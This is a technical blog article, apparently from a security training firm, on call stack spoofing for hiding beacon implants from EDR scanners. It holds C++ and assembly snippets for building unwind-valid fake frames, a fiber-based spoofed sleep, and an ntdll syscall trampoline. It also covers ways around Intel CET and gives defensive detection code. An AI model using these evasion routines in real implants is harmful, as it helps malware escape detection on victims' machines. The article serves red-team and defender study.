Back to Blog
Exploitation

Exploring Call Stack Spoofing: Hiding from Memory Scanners

OffSec Research Team
10 June 2026 • 09:00 AM21 min
Exploring Call Stack Spoofing: Hiding from Memory Scanners
TL;DR — EDRs enumerate every thread's call stack looking for return addresses that land outside a legitimate module — a reliable indicator of injected shellcode or beacon implants living in anonymous memory. Call stack spoofing defeats this by constructing a convincing chain of synthetic stack frames that, when unwound using the Windows x64 .pdata exception-directory records, resolve entirely to known-good system DLLs. This article covers the x64 unwinding model, the SilentMoonwalk and VulcanRaven techniques, how to build frames that survive unwind validation, indirect syscall stack manipulation, Intel CET shadow stack as a hardware countermeasure, and the detection strategy that exposes even well-crafted fakes.

Executive Summary

Thread call stack scanning is one of the highest-signal, lowest-cost detection primitives available to a host-based EDR. Every thread in every process maintains a call stack — a chain of return addresses pushed by CALL instructions that records the execution path from the current instruction back to the thread's entry point. For a legitimately executing application thread, every return address in that chain resolves to a code section inside a loaded, signed PE module on disk. For a beacon or shellcode implant sleeping in anonymously allocated memory, at least one return address lands outside any module — typically in a VirtualAlloc'd RWX or RX region with no associated image header.

Call stack spoofing is the technique of rewriting those frames so that the synthetic stack the EDR walks looks like the thread was sleeping inside WaitForSingleObjectEx called from ntdll!RtlUserThreadStart — exactly like a legitimate thread pool worker. The difficulty is that x64 Windows uses a table-driven exception model: unwinding a frame requires locating the function's RUNTIME_FUNCTION entry in the module's .pdata exception directory and executing the corresponding UNWIND_INFO record. A spoofed stack that does not have matching .pdata entries will cause the unwinder to throw an exception or silently truncate the walk — both observable by a sophisticated scanner.

This article dissects how x64 unwinding works mechanically, how SilentMoonwalk and VulcanRaven construct valid synthetic stacks, why indirect syscall stubs create their own call stack problem, where Intel CET draws a hardware boundary around the technique, and what detection signals survive even technically perfect spoofing.


The EDR Threat Model: Why Call Stacks Betray Implants

The Anatomy of a Sleeping Beacon Thread

A typical C2 beacon operating at a 60-second heartbeat interval spends roughly 99.9% of its runtime in a sleep call. During this interval, the beacon thread is descheduled and its register context is frozen. Any code running with THREAD_GET_CONTEXT access — including the EDR's user-mode agent or a kernel component using PsGetContextThread — can snapshot this context and walk the frozen call stack.

The canonical detection signal is: a return address that does not fall within the address range of any module in the process module list. The Windows loader maintains PEB->Ldr->InLoadOrderModuleList — every legitimate DLL has an entry with DllBase and SizeOfImage. Any return address outside [DllBase, DllBase + SizeOfImage) for every module is in "unbacked" memory — an anonymous allocation that is the natural habitat of shellcode and beacons.

A secondary signal: a return address that falls in a module region whose on-disk backing has been modified — the classic "stomped module" or "module overwrite" indicator.

Without any spoofing, a sleeping Cobalt Strike beacon produces a call stack similar to:

shell
Frame 0: ntdll!NtDelayExecution+0x14       [ntdll.dll — legitimate]Frame 1: KERNELBASE!SleepEx+0xAB           [KernelBase.dll — legitimate]Frame 2: 0x00007FF600001234                [ANONYMOUS — no module owns this]Frame 3: 0x00007FF600001890                [ANONYMOUS — no module owns this]

Frame 2 is the return address that was on the stack when the beacon's main loop called SleepEx. Because the beacon lives in a VirtualAlloc'd region at 0x7FF6..., frames 2 and 3 have no module owner. Detection is trivial and reliable.

diagram — rendering…
flowchart TD
    A[EDR Thread Enumeration\nNtQuerySystemInformation\nSystemProcessInformation] --> B[For each thread:\nOpenThread + GetThreadContext]
    B --> C[Snapshot RSP, RIP, register state]
    C --> D{Is every return address\nwithin a loaded module?}
    D -->|Yes| E[Stack appears module-backed]
    D -->|No| F[ALERT: Unbacked return address\nPossible implant / shellcode]
    E --> G{Does each frame have\nvalid .pdata UNWIND_INFO?}
    G -->|Yes| H[Frame chain validated — pass]
    G -->|No| I[ALERT: Invalid unwind record\nSynthetic stack suspected]
    F --> J[Correlate with VirtualQuery:\nMEM_PRIVATE + PAGE_EXECUTE?]
    J --> K[HIGH CONFIDENCE ALERT]

x64 Stack Unwinding: The Mechanics

Table-Driven Exception Handling

Windows x64 abandoned the x86 frame-pointer chain model. Instead of pushing EBP to form a linked list of frames, x64 compilers emit a .pdata section containing RUNTIME_FUNCTION records for every non-leaf function. Unwinding a frame requires reading these records — not following frame pointer chains.

c
// winnt.htypedef struct _RUNTIME_FUNCTION {    ULONG BeginAddress;   // RVA of function start relative to image base    ULONG EndAddress;     // RVA of function end    ULONG UnwindData;     // RVA of UNWIND_INFO structure} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;

These records are stored in the .pdata section sorted by BeginAddress, enabling binary search. The OS API for looking them up is RtlLookupFunctionEntry(ControlPC, &ImageBase, &HistoryTable).

The UNWIND_INFO Structure

Each RUNTIME_FUNCTION points to an UNWIND_INFO structure that describes the function's prolog:

c
typedef struct _UNWIND_INFO {    BYTE Version       : 3;   // Unwind info version (must be 1)    BYTE Flags         : 5;   // UNW_FLAG_NHANDLER / EHANDLER / UHANDLER / CHAININFO    BYTE SizeOfProlog;         // Size of prolog in bytes    BYTE CountOfCodes;         // Number of unwind code slots    BYTE FrameRegister : 4;   // Nonvolatile reg used as frame pointer (0 = none)    BYTE FrameOffset   : 4;   // Scaled offset of frame pointer from RSP    UNWIND_CODE UnwindCode[1]; // Variable-length array of unwind codes    // Followed by: exception handler RVA, language-specific data,    //              or chained RUNTIME_FUNCTION if UNW_FLAG_CHAININFO} UNWIND_INFO;

Each UNWIND_CODE describes one prolog operation:

Operation CodeMeaningStack Effect
UWOP_PUSH_NONVOLpush RegRSP -= 8
UWOP_ALLOC_SMALLsub rsp, N*8+8RSP -= N*8+8
UWOP_ALLOC_LARGEsub rsp, largeRSP -= large
UWOP_SET_FPREGlea rbp, [rsp+off]RSP unchanged
UWOP_SAVE_NONVOLmov [rsp+off], RegRSP unchanged
UWOP_SAVE_XMM128movaps [rsp+off], XmmRSP unchanged

To unwind a frame, the runtime applies these codes in reverse prolog order to reconstruct the caller's RSP, then reads [RSP] as the return address (the CALL instruction's implicit push).

diagram — rendering…
sequenceDiagram
    participant E as EDR Stack Walker
    participant R as RtlLookupFunctionEntry
    participant U as RtlVirtualUnwind
    participant S as Thread Stack Memory

    E->>R: ControlPC = current RIP
    R-->>E: RUNTIME_FUNCTION* + ImageBase
    E->>U: RtlVirtualUnwind(ImageBase, ControlPC, RF, Context)
    U->>S: Read UNWIND_INFO.UnwindCode[]
    U->>S: Apply codes in reverse: adjust RSP
    U->>S: Read [RSP] as return address (next RIP)
    U-->>E: Updated CONTEXT (new RSP, new RIP)
    E->>E: Check: is new RIP module-backed?
    E->>R: Recurse with new RIP

Why This Matters for Spoofing

The unwinder does not merely follow a pointer chain — it computes where the next return address must be based on the target function's declared stack layout. If you fake a return address pointing into KERNELBASE!WaitForSingleObjectEx, the unwinder will look up WaitForSingleObjectEx's RUNTIME_FUNCTION, parse its UNWIND_INFO, compute the RSP offset where the saved return address must reside, and read that memory. If that memory does not contain a valid next return address, the walk fails.

A spoofed stack therefore requires correctly populating all intermediate stack bytes that the unwinder will read when processing each fake frame.


SilentMoonwalk: Constructing Unwind-Valid Fake Frames

SilentMoonwalk (klezVirus, 2022) was the first publicly documented, unwind-aware call stack spoofer. Its core algorithm:

  • Identify target functions to appear in the fake chain (e.g., WaitForSingleObjectEx, BaseThreadInitThunk, RtlUserThreadStart).
  • For each target function, parse its RUNTIME_FUNCTION and UNWIND_INFO to compute the total stack frame size — how many bytes the function's prolog allocated.
  • Build the fake stack by working bottom-up: allocate space on the real stack equal to the sum of all fake frame sizes, then fill in return addresses and saved-register slots at the precise offsets the unwinder will expect.

Computing Frame Size from UNWIND_INFO

cpp
// Parse UNWIND_INFO to determine total stack frame sizeSIZE_T ComputeFrameSize(ULONG64 imageBase, PRUNTIME_FUNCTION rf) {    PUNWIND_INFO ui = (PUNWIND_INFO)(imageBase + rf->UnwindData);    SIZE_T delta = 8; // The CALL itself pushed a return address (8 bytes)     for (BYTE i = 0; i < ui->CountOfCodes; ) {        UNWIND_CODE& uc = ui->UnwindCode[i];        switch (uc.UnwindOp) {            case UWOP_PUSH_NONVOL:                delta += 8;                i += 1;                break;            case UWOP_ALLOC_SMALL:                delta += (uc.OpInfo * 8) + 8;                i += 1;                break;            case UWOP_ALLOC_LARGE:                if (uc.OpInfo == 0) {                    delta += ((USHORT*)&ui->UnwindCode[i+1])[0] * 8;                    i += 2;                } else {                    delta += ((ULONG*)&ui->UnwindCode[i+1])[0];                    i += 3;                }                break;            case UWOP_SET_FPREG:            case UWOP_SAVE_NONVOL:            case UWOP_SAVE_NONVOL_FAR:                // These don't change RSP                i += (uc.UnwindOp >= UWOP_SAVE_NONVOL) ? 2 : 1;                break;            default:                i += 1;                break;        }    }    return delta;}

Writing the Synthetic Stack

cpp
// SilentMoonwalk-style: build a fake call stack before entering a wait// Fake chain: NtWaitForSingleObject <- WaitForSingleObjectEx <- BaseThreadInitThunk <- RtlUserThreadStartstruct FakeFrame {    ULONG64 returnAddress;     // Where unwinder will find the next frame's addr    ULONG64 imageBase;    PRUNTIME_FUNCTION rf;}; void BuildFakeStack(FakeFrame* frames, int count, ULONG64* pRSP) {    ULONG64 rsp = *pRSP;     // Walk from bottom of chain to top    for (int i = count - 1; i >= 0; i--) {        SIZE_T frameSize = ComputeFrameSize(frames[i].imageBase, frames[i].rf);                // Allocate space on the stack for this frame        rsp -= frameSize;                // Place the return address at the TOP of this frame's allocation        // (where the unwinder will find it after applying UNWIND_INFO)        *(ULONG64*)rsp = frames[i].returnAddress;                // Zero the rest of the frame (saved non-volatile regs, stack args)        // Real implementations use believable values from actual thread context        memset((void*)(rsp + 8), 0, frameSize - 8);    }     // RSP now points to a complete fake stack    // The outermost (lowest) real frame (NtWaitForSingleObject) will return here    *pRSP = rsp;}

The assembly stub that actually performs the wait with the fabricated RSP:

nasm
; After BuildFakeStack sets up [rsp], we need to switch RSP to the fake stack; and then call the actual wait function so the OS sees the fake return address SpoofedWait PROC    ; rcx = handle, rdx = alertable, r8 = timeout ptr (NtWaitForSingleObject args)        ; Save original RSP in a thread-local or register    mov  r11, rsp        ; Load the pre-computed fake RSP (built by BuildFakeStack)    mov  rsp, [FakeSP]        ; Align RSP to 16 bytes (required by ABI at CALL point)    and  rsp, 0FFFFFFFFFFFFFFF0h    sub  rsp, 8                    ; re-misalign by 8 (CALL will push 8 more)        ; Place our real continuation address so we return correctly after wake    push r11                       ; save original rsp        ; Now CALL the actual wait — from the OS perspective, the return address    ; pushed by CALL lands in our stub, but RSP shows the fake chain above    call NtWaitForSingleObject        ; Restore original RSP    pop  r11    mov  rsp, r11    retSpoofedWait ENDP

VulcanRaven: RSP Hijacking via Fiber Conversion

VulcanRaven (cursey, 2022) takes a fundamentally different approach by exploiting Windows fibers to manufacture a thread context that is already legitimately stack-framed.

How Fiber Context Switching Works

Windows fibers are user-mode cooperative coroutines. ConvertThreadToFiber registers the current thread's execution context as a fiber. CreateFiber allocates a new stack and establishes a starting context pointing to a provided callback. SwitchToFiber saves the current fiber's context (RSP, RBP, all non-volatile registers) and restores the target fiber's context.

Critically: when the Windows kernel scheduler preempts a fiber-running thread and an EDR takes a snapshot, the visible call stack is the fiber's stack, which contains the legitimate system frames from BaseFiberStart in kernel32.dll.

The VulcanRaven Sleep Implementation

cpp
static PVOID g_MainFiber = nullptr;static PVOID g_SleepFiber = nullptr; VOID CALLBACK SleepFiberEntry(PVOID param) {    // This fiber exists only to call Sleep    // Its stack automatically contains kernel32!BaseFiberStart as a frame    DWORD sleepMs = (DWORD)(ULONG_PTR)param;     // The actual sleep — during this call, any stack scanner sees:    // ntdll!NtDelayExecution    // KERNELBASE!SleepEx    // kernel32!BaseFiberStart     <- legitimate module-backed frame    Sleep(sleepMs);     // Return to main fiber    SwitchToFiber(g_MainFiber);} // Called by beacon instead of Sleep()void SpoofedSleep(DWORD ms) {    if (!g_MainFiber) {        g_MainFiber = ConvertThreadToFiber(nullptr);        g_SleepFiber = CreateFiber(0, SleepFiberEntry, (PVOID)(ULONG_PTR)ms);    }     // Update the sleep duration for reuse    // (real impl recreates fiber or uses shared state)    SwitchToFiber(g_SleepFiber);    // Execution returns here when the sleep fiber switches back}

The limitation of fiber-based spoofing is that CreateFiber and ConvertThreadToFiber are visible in ntdll ETW tracing and are anomalous in processes that do not normally use fibers (most beacons run from injected threads in Explorer, svchost, etc. — none of which use fibers legitimately).


Indirect Syscall Call Stack Manipulation

The Problem with Syscall Stubs in Anonymous Memory

Direct and indirect syscall techniques ("Hell's Gate", "Tartarus' Gate", "SyscallStomping") route system calls through stubs that live outside ntdll. This solves the userland hook problem but creates a new call stack problem: the syscall instruction, when executed from the beacon's anonymous allocation, leaves the anonymous return address visible on the stack.

shell
Frame 0:  [Kernel: KiSystemCall64 — kernel mode, not visible in user walk]Frame 1:  0x00007FF6DEAD0010  ← syscall stub in anonymous beacon memoryFrame 2:  0x00007FF6DEAD0220  ← beacon sleep loop

Both frame 1 and frame 2 are unbacked. The syscall fix requires the syscall instruction to be issued from within ntdll itself — specifically from the legitimate Nt* stub sequence — while the return address chain above it points to safe module-backed addresses.

The jmp [rip+0] Trampoline Pattern

The technique uses a jmp qword ptr [rip+0] gadget (or equivalent indirect branch gadget) present inside a legitimate DLL to trampoline control from the beacon's stub into the actual ntdll syscall instruction:

nasm
; Goal: syscall executes with RSP showing ntdll return addr above it;       but beacon gets control back after the kernel return SpoofedNtWait PROC    ; Standard calling convention setup    mov  r10, rcx     ; Plant a spoofed return address ON THE STACK before jumping to ntdll    ; We want: [RSP] = address inside ntdll (after the syscall instruction)    ;          [RSP+8..] = rest of fake chain (WaitForSingleObjectEx, etc.)        ; Step 1: Pop our own return address off the stack    pop  r11                          ; r11 = our real continuation address        ; Step 2: Push the address of a 'ret' gadget inside ntdll    ;         (e.g., ntdll+0x9F3D which is just: ret)    push QWORD PTR [NtdllRetGadgetAddr]        ; Step 3: Load SSN and jump to ntdll's actual syscall instruction    ;         (the 'syscall; ret' sequence at the start of the Nt stub)    mov  eax, SSN_NtWaitForSingleObject    jmp  QWORD PTR [NtdllSyscallAddr]  ; jumps to 'syscall' inside ntdll        ; After kernel return: CPU executes ntdll 'ret'    ;   -> pops NtdllRetGadgetAddr    ;   -> jumps to that gadget    ;   -> gadget does 'ret'    ;   -> pops our fake chain's next address    ;   (chain has been pre-built to eventually reach our real continuation)NtdllRetGadgetAddr DQ 0   ; filled at runtime: address of 'ret' in ntdllNtdllSyscallAddr   DQ 0   ; filled at runtime: address of 'syscall' in NtWaitForSingleObjectSpoofedNtWait ENDP

This pattern, used in RecycledGate and Unwinder, ensures that the syscall instruction's user-mode return address is a legitimate ntdll address, not the beacon's anonymous allocation.


Intel CET: The Hardware Countermeasure

Shadow Stack Architecture

Intel Control-flow Enforcement Technology (CET) introduces a shadow stack — a second, hardware-protected stack that the CPU maintains in parallel with the normal stack:

  • Every CALL instruction pushes the return address to both the normal stack and the shadow stack.
  • Every RET instruction pops from both stacks and compares the values. If they differ, the CPU raises a #CP (Control Protection Fault).
  • The shadow stack resides in pages marked with the SHADOW_STACK extended-page-table attribute. These pages cannot be written by application code, even at kernel privilege via a standard mov instruction — only the dedicated WRSS instruction can modify them, and only when permitted by the page attribute.

On Windows 10 20H1+ with Tiger Lake (11th gen) or later Intel CPUs, processes compiled with /CETCOMPAT (LOAD_CONFIG has CET_USER_SHADOW_STACK_COMPATIBILITY flag) have shadow stacks enabled by default for new threads.

Why CET Defeats Software Call Stack Spoofing

Every software call stack spoofing technique described above works by writing a fake return address to [RSP] (the normal stack) while the shadow stack still holds the original return address. At the point of RET:

  • Normal stack [RSP] = NTDLL_RET_GADGET (attacker's fake address).
  • Shadow stack [SSP] = real beacon continuation address.
  • CPU comparison fails → #CP fault → process is terminated or EDR notified.
c
// Detect CET enforcement on current processBOOL IsCETActive(void) {    PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY policy = {0};    if (GetProcessMitigationPolicy(            GetCurrentProcess(),            ProcessUserShadowStackPolicy,            &policy, sizeof(policy))) {        return policy.EnableUserShadowStack != 0;    }    return FALSE;} // Enumerate CET capability on a remote processBOOL RemoteProcessHasCET(HANDLE hProcess) {    PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY policy = {0};    return GetProcessMitigationPolicy(        hProcess,        ProcessUserShadowStackPolicy,        &policy, sizeof(policy))        && policy.EnableUserShadowStack;}

Current Bypass Research

As of mid-2025, reliable CET bypass for call stack spoofing requires one of:

  • `RSTORSSP` gadgets: This instruction restores the shadow stack pointer from a shadow stack token. Binaries compiled with longjmp (MSVC setjmp.h) may contain RSTORSSP gadgets in their exception handling code. Locating and chaining SAVEPREVSSP + RSTORSSP + WRSS gadgets can theoretically re-synchronize the shadow stack, but this is fragile and binary-specific.
  • Non-CET host processes: Most legacy system binaries are not /CETCOMPAT. Operating from rundll32.exe, msiexec.exe, wscript.exe, or many LOLBins avoids CET entirely. This is the practical red team approach for current tooling.
  • CET policy modification: NtSetInformationProcess(ProcessUserShadowStackPolicy) with a cleared EnableUserShadowStack flag can disable CET for a process in some configurations, but requires SeDebugPrivilege or SYSTEM context for a remote process, and is trivially detectable via ETW.
Spoofing TechniqueBypasses Module CheckValid Unwind RecordsCET-Compatible
No spoofing (baseline)NoN/AN/A
Return address overwrite onlyYesNoNo
SilentMoonwalk (full unwind-aware)YesYesNo
VulcanRaven (fiber-based)YesPartialNo
Syscall + ntdll gadget chainYesYesNo
RSTORSSP gadget chain (research)YesYesPartial
Non-CET host processYesYesYes (avoided)

Hunt-Sleeping-Beacons: Detection in Practice

Tool Architecture

Hunt-Sleeping-Beacons (thefLink, 2022) implements the full detection pipeline:

  • Enumerate all processes via NtQuerySystemInformation(SystemProcessInformation).
  • For each thread, open with THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION.
  • Snapshot the thread context.
  • Walk the call stack by calling RtlVirtualUnwind in a loop.
  • For each frame, check: (a) module-backed return address, (b) valid RUNTIME_FUNCTION lookup, (c) plausible unwind outcome.

The key insight distinguishing Hunt-Sleeping-Beacons from simple "check each return address" tools is that it validates the structural consistency of the unwind. A partial spoof that places a correct return address but wrong intermediate stack bytes will cause RtlVirtualUnwind to produce a nonsensical RSP for the next frame, which the tool detects.

Detection Implementation

cpp
// Core detection loop — validate each frame structurallyDETECTION_RESULT ScanThreadStack(HANDLE hThread) {    CONTEXT ctx = {};    ctx.ContextFlags = CONTEXT_FULL;    if (!GetThreadContext(hThread, &ctx))         return DETECTION_ERROR;     ULONG64 rip = ctx.Rip;    ULONG64 rsp = ctx.Rsp;    int depth = 0;     while (depth++ < 64 && rip != 0) {        // Check module backing for this return address        if (!IsAddressInLoadedModule(rip)) {            printf("[ALERT] Depth %d: RIP 0x%llx not in any module\n", depth, rip);            return DETECTION_UNBACKED_FRAME;        }         ULONG64 imageBase = 0;        PRUNTIME_FUNCTION rf = RtlLookupFunctionEntry(rip, &imageBase, nullptr);         if (!rf) {            // Leaf function: return address is directly at [RSP]            if (!IsReadable(rsp, 8)) return DETECTION_INVALID_RSP;            rip = *(ULONG64*)rsp;            rsp += 8;            continue;        }         // Full unwind step        CONTEXT unwindCtx = {};        unwindCtx.Rip = rip;        unwindCtx.Rsp = rsp;        KNONVOLATILE_CONTEXT_POINTERS nvCtx = {};        ULONG64 establisherFrame = 0;         __try {            RtlVirtualUnwind(UNW_FLAG_NHANDLER, imageBase, rip, rf,                             &unwindCtx, nullptr, &establisherFrame, &nvCtx);        } __except (EXCEPTION_EXECUTE_HANDLER) {            printf("[ALERT] Depth %d: RtlVirtualUnwind exception — fake stack bytes\n", depth);            return DETECTION_UNWIND_EXCEPTION;        }         // Sanity check: new RSP should be larger than old RSP        if (unwindCtx.Rsp <= rsp || unwindCtx.Rsp > rsp + 0x10000) {            printf("[ALERT] Depth %d: Implausible RSP delta — synthetic frame suspected\n", depth);            return DETECTION_RSP_ANOMALY;        }         rip = unwindCtx.Rip;        rsp = unwindCtx.Rsp;    }     return DETECTION_CLEAN;}

Thread Start Address: The Invariant That Spoofing Cannot Change

Even perfect call-stack spoofing cannot alter the thread's creation-time start address. When NtCreateThreadEx is called to create the thread, the lpStartAddress parameter is recorded in the kernel's ETHREAD.Win32StartAddress field. This can be retrieved at any time via:

cpp
PVOID GetThreadStartAddress(HANDLE hThread) {    PVOID startAddr = nullptr;    NtQueryInformationThread(        hThread,        ThreadQuerySetWin32StartAddress,  // = 9        &startAddr,        sizeof(startAddr),        nullptr);    return startAddr;}

If the start address is in anonymous (non-module-backed) memory, the thread is suspicious regardless of what the current call stack shows. This is why mature beacon frameworks inject into existing legitimate threads (thread hijacking) rather than creating new threads — but thread hijacking introduces its own detection surface via NtSetContextThread call patterns and the temporary RSP/RIP divergence from the thread's natural flow.

ETW and Sysmon Telemetry Sources

shell
Detection Telemetry Map:├── ETW: Microsoft-Windows-Kernel-Thread (ThreadStart)│       → StartAddress for every new thread│       → Stack trace of the CREATOR (who called NtCreateThreadEx)├── Sysmon Event ID 1 (Process Create) + Event ID 8 (CreateRemoteThread)│       → StartAddress field — any anonymous address is high-fidelity IOC├── ETW: Microsoft-Windows-DotNETRuntime (if .NET process)│       → JIT-compiled method addresses in anonymous regions├── Kernel callback: PsSetCreateThreadNotifyRoutine│       → ETHREAD.StartAddress logged at thread creation — before any spoofing├── EDR kernel scanner: enumerate ETHREAD.StartAddress for all threads│       → Cross-referenced against loaded module list└── VirtualQuery on suspicious return addresses        → MEM_PRIVATE + MEM_COMMIT + PAGE_EXECUTE_READWRITE = strong IOC

Practical Red Team Considerations

Frame Chain Semantic Coherence

A scanner that goes beyond structural validation and applies semantic logic checks whether the frame chain is plausible:

  • Does NtWaitForSingleObject appear as the deepest frame? That's expected.
  • Does LoadLibraryA appear above a wait function? That is anomalous — LoadLibraryA does not block.
  • Does CreateFileW appear in the middle of a thread pool worker chain? Suspicious.

Fake chains should be constructed to match the expected execution paths of the chosen host process. Thread pool worker chains (TppWorkerThread → TpCallbackMayRunLong → BaseThreadInitThunk → RtlUserThreadStart) are ideal because thread pool workers are ubiquitous in every modern Windows process and the chains are short.

Stack Alignment

The x64 ABI requires RSP to be 16-byte aligned at the point of a CALL instruction, meaning RSP % 16 == 8 at function entry (the CALL itself mis-aligns it by 8). Synthetic stacks that violate this will crash in SIMD-using functions (e.g., any function using SSE2 movaps) and may be detected by alignment-checking scanners.

Combining with Sleep Obfuscation

Call stack spoofing is most effective combined with sleep obfuscation (Ekko, Foliage, Nightmangle): the beacon encrypts its memory and spoofs its call stack simultaneously, so the EDR sees neither plaintext beacon bytes in memory nor suspicious return addresses in the thread. However, the spoofing and encryption setup mechanics (APC queue operations, timer creation, VirtualProtect calls) create their own ETW telemetry that can be correlated.


Conclusion

Call stack spoofing has matured from an academic curiosity into a production capability that is now table-stakes for mature C2 frameworks. The x64 unwind model raises the implementation bar significantly: naive return address replacement fails immediately against any scanner that uses RtlVirtualUnwind, while techniques like SilentMoonwalk demonstrate that fully unwind-valid synthetic stacks are achievable with careful UNWIND_INFO parsing and meticulous stack byte placement.

The detection landscape, however, has kept pace. Thread start address inspection represents a fundamentally different signal that walk-time spoofing cannot address. Intel CET's shadow stack hardware enforcement draws a bright hardware line — once CET reaches critical deployment mass, software-only call stack spoofing becomes non-viable in CET-enabled processes. Until then, the practical countermeasure for red teams is operating in non-CET host processes and ensuring that every layer of evasion (memory encryption, call stack spoofing, syscall routing) is coordinated rather than implemented in isolation.

For defenders, the investment priorities are: enabling CET on sensitive processes and endpoints that support it, deploying thread-start-address scanning in kernel-mode EDR components (rather than relying on user-mode walk-time checks), and treating the combination of anonymous memory + new thread creation as a high-confidence detection even when the call stack appears clean.